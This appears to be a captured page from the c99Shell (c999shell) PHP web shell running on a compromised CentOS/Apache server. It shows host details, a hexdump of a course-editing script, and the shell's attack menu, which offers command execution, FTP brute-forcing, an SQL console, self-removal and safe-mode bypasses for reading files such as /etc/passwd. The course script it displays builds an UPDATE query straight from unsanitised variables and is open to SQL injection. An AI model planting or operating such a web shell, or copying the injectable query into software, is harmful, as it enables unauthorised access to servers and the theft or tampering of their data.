!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/edu_depart/   drwxr-xr-x
Free 52.35 GB of 127.8 GB (40.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EditCourse.php (757 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage_22222/edu_depart/EditCourse.php
Size 757 B
MD5 6566895b214de64f9ce1e558164be9bd
Owner/Group root/root
Perms-rw-r--r--
Create time 06/07/2011 01:44:09
Access time 30/07/2024 21:18:26
MODIFY time 21/08/2009 09:42:49

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
3C 3F 70 68 70 0A 09 69 6E 63 6C 75 64 65 28 22 2E 2E 2F 69 6E 63 6C 75
64 65 2F 46 75 6E 63 74 69 6F 6E 44 42 2E 70 68 70 22 29 3B 0A 09 43 6F
6E 6E 65 63 74 44 42 28 29 3B 20 20 20 20 20 20 20 20 0A 24 73 71 6C 20
3D 20 22 20 55 50 44 41 54 45 20 63 6F 75 72 73 65 5F 74 62 20 53 45 54
20 43 6F 75 72 73 65 5F 69 64 3D 27 24 43 6F 75 72 73 65 5F 69 64 27 2C
43 6F 75 72 73 65 5F 6E 61 6D 65 3D 27 24 43 6F 75 72 73 65 5F 6E 61 6D
65 27 2C 43 6F 75 72 73 65 5F 6E 61 6D 65 45 3D 27 24 43 6F 75 72 73 65
5F 6E 61 6D 65 45 27 2C 44 65 67 72 65 65 5F 54 68 61 69 3D 27 24 44 65
67 72 65 65 5F 54 68 61 69 27 2C 53 68 6F 72 74 5F 54 68 61 69 3D 27 24
53 68 6F 72 74 5F 54 68 61 69 27 2C 44 65 67 72 65 65 5F 45 6E 67 3D 27
24 44 65 67 72 65 65 5F 45 6E 67 27 2C 53 68 6F 72 74 5F 45 6E 67 3D 27
24 53 68 6F 72 74 5F 45 6E 67 27 2C 43 6F 75 72 73 65 5F 74 79 70 65 3D
27 24 43 6F 75 72 73 65 5F 74 79 70 65 27 2C 54 6F 74 61 6C 55 6E 69 74
3D 27 24 54 6F 74 61 6C 55 6E 69 74 27 2C 54 65 72 6D 3D 27 24 54 65 72
6D 27 2C 53 70 65 63 3D 27 24 53 70 65 63 27 2C 41 66 66 65 63 74 5F 63
6C 61 73 73 3D 27 24 41 66 66 65 63 74 5F 63 6C 61 73 73 27 2C 43 6F 75
72 73 65 5F 64 65 73 63 3D 27 24 43 6F 75 72 73 65 5F 64 65 73 63 27 20
57 48 45 52 45 20 43 6F 75 72 73 65 5F 63 6F 64 65 20 3D 27 24 43 6F 75
72 73 65 5F 63 6F 64 65 27 20 22 3B 0A 24 72 65 73 75 6C 74 20 3D 20 6D
79 73 71 6C 5F 71 75 65 72 79 28 24 73 71 6C 29 20 6F 72 20 64 69 65 28
22 55 70 64 61 74 65 20 45 72 72 6F 72 20 24 73 71 6C 22 2E 6D 79 73 71
6C 5F 65 72 72 6F 72 28 29 29 3B 0A 20 20 20 2F 2F 20 65 63 68 6F 22 3C
63 65 6E 74 65 72 3E 3C 66 6F 6E 74 20 66 61 63 65 3D 5C 22 54 61 68 6F
6D 61 5C 22 73 69 7A 65 3D 5C 22 36 5C 22 20 63 6F 6C 6F 72 3D 5C 22 23
46 46 30 30 30 30 5C 22 3E 55 70 64 61 74 65 20 43 6F 6D 70 6C 65 74 65
3C 2F 66 6F 6E 74 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 09 2F 2F 20 20
65 63 68 6F 22 3C 6D 65 74 61 20 68 74 74 70 2D 65 71 75 69 76 3D 5C 22
72 65 66 72 65 73 68 5C 22 20 63 6F 6E 74 65 6E 74 3D 5C 22 31 3B 55 52
4C 3D 45 64 69 74 43 6F 75 72 73 65 4C 69 73 74 2E 70 68 70 5C 22 3E 22
3B 0A 68 65 61 64 65 72 28 22 4C 6F 63 61 74 69 6F 6E 3A 45 64 69 74 43
6F 75 72 73 65 4C 69 73 74 2E 70 68 70 22 29 3B 09 09 09 09 0A 20 20 43
6C 6F 73 65 44 42 28 29 3B 0A 3F 3E 0A
<?php  include("../inclu
de/FunctionDB.php");  Co
nnectDB();         $sql 
= " UPDATE course_tb SET
 Course_id='$Course_id',
Course_name='$Course_nam
e',Course_nameE='$Course
_nameE',Degree_Thai='$De
gree_Thai',Short_Thai='$
Short_Thai',Degree_Eng='
$Degree_Eng',Short_Eng='
$Short_Eng',Course_type=
'$Course_type',TotalUnit
='$TotalUnit',Term='$Ter
m',Spec='$Spec',Affect_c
lass='$Affect_class',Cou
rse_desc='$Course_desc' 
WHERE Course_code ='$Cou
rse_code' "; $result = m
ysql_query($sql) or die(
"Update Error $sql".mysq
l_error());    // echo"<
center><font face=\"Taho
ma\"size=\"6\" color=\"#
FF0000\">Update Complete
</font></center>";  //  
echo"<meta http-equiv=\"
refresh\" content=\"1;UR
L=EditCourseList.php\">"
; header("Location:EditC
ourseList.php");    C
loseDB(); ?> 

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0102 ]--